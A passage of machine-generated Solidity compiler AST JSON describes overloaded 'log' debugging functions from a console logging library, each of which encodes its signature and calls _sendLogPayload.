memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16490,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"7616:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16497,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7616:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16498,"nodeType":"ExpressionStatement","src":"7616:69:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"7567:3:14","parameters":{"id":16488,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16485,"mutability":"mutable","name":"p0","nameLocation":"7576:2:14","nodeType":"VariableDeclaration","scope":16500,"src":"7571:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16484,"name":"bool","nodeType":"ElementaryTypeName","src":"7571:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":16487,"mutability":"mutable","name":"p1","nameLocation":"7588:2:14","nodeType":"VariableDeclaration","scope":16500,"src":"7580:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16486,"name":"address","nodeType":"ElementaryTypeName","src":"7580:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"7570:21:14"},"returnParameters":{"id":16489,"nodeType":"ParameterList","parameters":[],"src":"7606:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16517,"nodeType":"FunctionDefinition","src":"7698:134:14","nodes":[],"body":{"id":16516,"nodeType":"Block","src":"7746:86:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e7429","id":16510,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7796:19:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_2243cfa3a64f0f85afef83b08ba731ebd8a4b1053fdc66eb414b069452c9f133","typeString":"literal_string \"log(address,uint)\""},"value":"log(address,uint)"},{"id":16511,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16502,"src":"7817:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":16512,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16504,"src":"7821:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2243cfa3a64f0f85afef83b08ba731ebd8a4b1053fdc66eb414b069452c9f133","typeString":"literal_string \"log(address,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":16508,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7772:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16509,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7776:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7772:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16513,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7772:52:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16507,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"7756:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16514,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7756:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16515,"nodeType":"ExpressionStatement","src":"7756:69:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"7707:3:14","parameters":{"id":16505,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16502,"mutability":"mutable","name":"p0","nameLocation":"7719:2:14","nodeType":"VariableDeclaration","scope":16517,"src":"7711:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16501,"name":"address","nodeType":"ElementaryTypeName","src":"7711:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":16504,"mutability":"mutable","name":"p1","nameLocation":"7728:2:14","nodeType":"VariableDeclaration","scope":16517,"src":"7723:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16503,"name":"uint","nodeType":"ElementaryTypeName","src":"7723:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7710:21:14"},"returnParameters":{"id":16506,"nodeType":"ParameterList","parameters":[],"src":"7746:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16534,"nodeType":"FunctionDefinition","src":"7838:145:14","nodes":[],"body":{"id":16533,"nodeType":"Block","src":"7895:88:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e6729","id":16527,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7945:21:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_759f86bbdd0758679ecefbd32ea620068b2339dddd9e45ee0fa567ee6c81f0ab","typeString":"literal_string \"log(address,string)\""},"value":"log(address,string)"},{"id":16528,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16519,"src":"7968:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":16529,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16521,"src":"7972:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_759f86bbdd0758679ecefbd32ea620068b2339dddd9e45ee0fa567ee6c81f0ab","typeString":"literal_string \"log(address,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":16525,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7921:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16526,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7925:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7921:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16530,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7921:54:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16524,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"7905:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16531,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7905:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16532,"nodeType":"ExpressionStatement","src":"7905:71:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"7847:3:14","parameters":{"id":16522,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16519,"mutability":"mutable","name":"p0","nameLocation":"7859:2:14","nodeType":"VariableDeclaration","scope":16534,"src":"7851:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16518,"name":"address","nodeType":"ElementaryTypeName","src":"7851:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":16521,"mutability":"mutable","name":"p1","nameLocation":"7877:2:14","nodeType":"VariableDeclaration","scope":16534,"src":"7863:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16520,"name":"string","nodeType":"ElementaryTypeName","src":"7863:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7850:30:14"},"returnParameters":{"id":16523,"nodeType":"ParameterList","parameters":[],"src":"7895:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16551,"nodeType":"FunctionDefinition","src":"7989:134:14","nodes":[],"body":{"id":16550,"nodeType":"Block","src":"8037:86:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c29","id":16544,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8087:19:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_75b605d31a3bf49c8d814696c7c66216d3a7e81348c450078f032e425592f72b","typeString":"literal_string \"log(address,bool)\""},"value":"log(address,bool)"},{"id":16545,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16536,"src":"8108:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":16546,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16538,"src":"8112:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_75b605d31a3bf49c8d814696c7c66216d3a7e81348c450078f032e425592f72b","typeString":"literal_string \"log(address,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":16542,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8063:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16543,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8067:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"8063:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16547,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8063:52:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16541,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"8047:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16548,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8047:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16549,"nodeType":"ExpressionStatement","src":"8047:69:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"7998:3:14","parameters":{"id":16539,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16536,"mutability":"mutable","name":"p0","nameLocation":"8010:2:14","nodeType":"VariableDeclaration","scope":16551,"src":"8002:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16535,"name":"address","nodeType":"ElementaryTypeName","src":"8002:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":16538,"mutability":"mutable","name":"p1","nameLocation":"8019:2:14","nodeType":"VariableDeclaration","scope":16551,"src":"8014:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16537,"name":"bool","nodeType":"ElementaryTypeName","src":"8014:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"8001:21:14"},"returnParameters":{"id":16540,"nodeType":"ParameterList","parameters":[],"src":"8037:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16568,"nodeType":"FunctionDefinition","src":"8129:140:14","nodes":[],"body":{"id":16567,"nodeType":"Block","src":"8180:89:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c6164647265737329","id":16561,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8230:22:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_daf0d4aa9a5679e832ac921da67b43572b4326ee2565442d3ed255b48cfb5161","typeString":"literal_string \"log(address,address)\""},"value":"log(address,address)"},{"id":16562,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16553,"src":"8254:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":16563,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16555,"src":"8258:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_daf0d4aa9a5679e832ac921da67b43572b4326ee2565442d3ed255b48cfb5161","typeString":"literal_string \"log(address,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":16559,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8206:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16560,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8210:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"8206:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16564,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8206:55:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16558,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"8190:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16565,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8190:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16566,"nodeType":"ExpressionStatement","src":"8190:72:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"8138:3:14","parameters":{"id":16556,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16553,"mutability":"mutable","name":"p0","nameLocation":"8150:2:14","nodeType":"VariableDeclaration","scope":16568,"src":"8142:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16552,"name":"address","nodeType":"ElementaryTypeName","src":"8142:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":16555,"mutability":"mutable","name":"p1","nameLocation":"8162:2:14","nodeType":"VariableDeclaration","scope":16568,"src":"8154:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16554,"name":"address","nodeType":"ElementaryTypeName","src":"8154:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"8141:24:14"},"returnParameters":{"id":16557,"nodeType":"ParameterList","parameters":[],"src":"8180:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16588,"nodeType":"FunctionDefinition","src":"8275:146:14","nodes":[],"body":{"id":16587,"nodeType":"Block","src":"8329:92:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c75696e7429","id":16580,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8379:21:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e7820a7400e33a94b0ae6f00adee99b97ebef8b77c9e38dd555c2f6b541dee17","typeString":"literal_string \"log(uint,uint,uint)\""},"value":"log(uint,uint,uint)"},{"id":16581,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16570,"src":"8402:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16582,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16572,"src":"8406:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16583,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16574,"src":"8410:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e7820a7400e33a94b0ae6f00adee99b97ebef8b77c9e38dd555c2f6b541dee17","typeString":"literal_string \"log(uint,uint,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":16578,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8355:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16579,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8359:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"8355:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16584,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8355:58:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16577,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"8339:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16585,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8339:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16586,"nodeType":"ExpressionStatement","src":"8339:75:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"8284:3:14","parameters":{"id":16575,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16570,"mutability":"mutable","name":"p0","nameLocation":"8293:2:14","nodeType":"VariableDeclaration","scope":16588,"src":"8288:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16569,"name":"uint","nodeType":"ElementaryTypeName","src":"8288:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16572,"mutability":"mutable","name":"p1","nameLocation":"8302:2:14","nodeType":"VariableDeclaration","scope":16588,"src":"8297:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16571,"name":"uint","nodeType":"ElementaryTypeName","src":"8297:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16574,"mutability":"mutable","name":"p2","nameLocation":"8311:2:14","nodeType":"VariableDeclaration","scope":16588,"src":"8306:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16573,"name":"uint","nodeType":"ElementaryTypeName","src":"8306:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8287:27:14"},"returnParameters":{"id":16576,"nodeType":"ParameterList","parameters":[],"src":"8329:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16608,"nodeType":"FunctionDefinition","src":"8427:157:14","nodes":[],"body":{"id":16607,"nodeType":"Block","src":"8490:94:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c737472696e6729","id":16600,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8540:23:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_7d690ee617a4217569e96b85c815115b0eee15407adaa46490ed719a45458699","typeString":"literal_string \"log(uint,uint,string)\""},"value":"log(uint,uint,string)"},{"id":16601,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16590,"src":"8565:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16602,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16592,"src":"8569:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16603,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16594,"src":"8573:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7d690ee617a4217569e96b85c815115b0eee15407adaa46490ed719a45458699","typeString":"literal_string \"log(uint,uint,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":16598,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8516:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16599,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8520:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"8516:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16604,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8516:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16597,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"8500:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16605,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8500:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16606,"nodeType":"ExpressionStatement","src":"8500:77:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"8436:3:14","parameters":{"id":16595,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16590,"mutability":"mutable","name":"p0","nameLocation":"8445:2:14","nodeType":"VariableDeclaration","scope":16608,"src":"8440:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16589,"name":"uint","nodeType":"ElementaryTypeName","src":"8440:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16592,"mutability":"mutable","name":"p1","nameLocation":"8454:2:14","nodeType":"VariableDeclaration","scope":16608,"src":"8449:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16591,"name":"uint","nodeType":"ElementaryTypeName","src":"8449:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16594,"mutability":"mutable","name":"p2","nameLocation":"8472:2:14","nodeType":"VariableDeclaration","scope":16608,"src":"8458:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16593,"name":"string","nodeType":"ElementaryTypeName","src":"8458:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8439:36:14"},"returnParameters":{"id":16596,"nodeType":"ParameterList","parameters":[],"src":"8490:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16628,"nodeType":"FunctionDefinition","src":"8590:146:14","nodes":[],"body":{"id":16627,"nodeType":"Block","src":"8644:92:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c626f6f6c29","id":16620,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8694:21:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_67570ff704783f5d282b26317dc28aeb4fe23c085020ec6e580604c709916fa8","typeString":"literal_string \"log(uint,uint,bool)\""},"value":"log(uint,uint,bool)"},{"id":16621,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16610,"src":"8717:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16622,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16612,"src":"8721:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16623,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16614,"src":"8725:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_67570ff704783f5d282b26317dc28aeb4fe23c085020ec6e580604c709916fa8","typeString":"literal_string \"log(uint,uint,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":16618,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8670:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16619,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8674:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"8670:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16624,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8670:58:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 